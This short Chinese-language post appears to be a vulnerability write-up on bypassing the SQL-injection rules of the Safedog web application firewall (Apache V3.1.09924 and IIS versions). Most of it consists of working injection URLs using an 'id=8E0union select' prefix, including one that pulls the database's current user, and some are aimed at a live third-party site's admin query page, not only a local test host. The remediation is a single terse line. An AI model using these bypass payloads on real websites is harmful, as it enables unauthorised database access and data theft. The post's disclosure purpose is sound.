网站安全狗最新版防护规则绕过

作者：杨超月

测试了网站安全狗APACHE版和IIS版

1.安全狗官网下载网站安全狗（APACHE）最新版为V3.1.09924，网马库版本为：2015-02-28

测试发现存在一处防护规则绕过。

2.IIS版采用https://bbs.siteserver.cn/

测试发现网站安全狗最新版存在该防护规则绕过~

一、本地测试网站安全狗（APACHE）最新版为V3.1.09924

1.首先测试后边跟union select 1,2,3,4,5发现被拦截了

2.id换为8E0就绕过了

https://localhost/74/wap/wap-company-show.php?id=8E0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43#

3.查看当前用户：

https://192.168.142.128/74/wap/wap-company-show.php?id=8E0union%20select%201,2,3,current_user,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,44#

二、测试IIS版https://bbs.siteserver.cn/

1.https://bbs.siteserver.cn//siteserver/platform/background_dbSqlQuery.aspx?id=1%20and%201=1

2.同样id换为8E0就绕过了

https://bbs.siteserver.cn//siteserver/platform/background_dbSqlQuery.aspx?id=8E0union%20select%201,2,3,4,5

解决方案：

id=8E0修复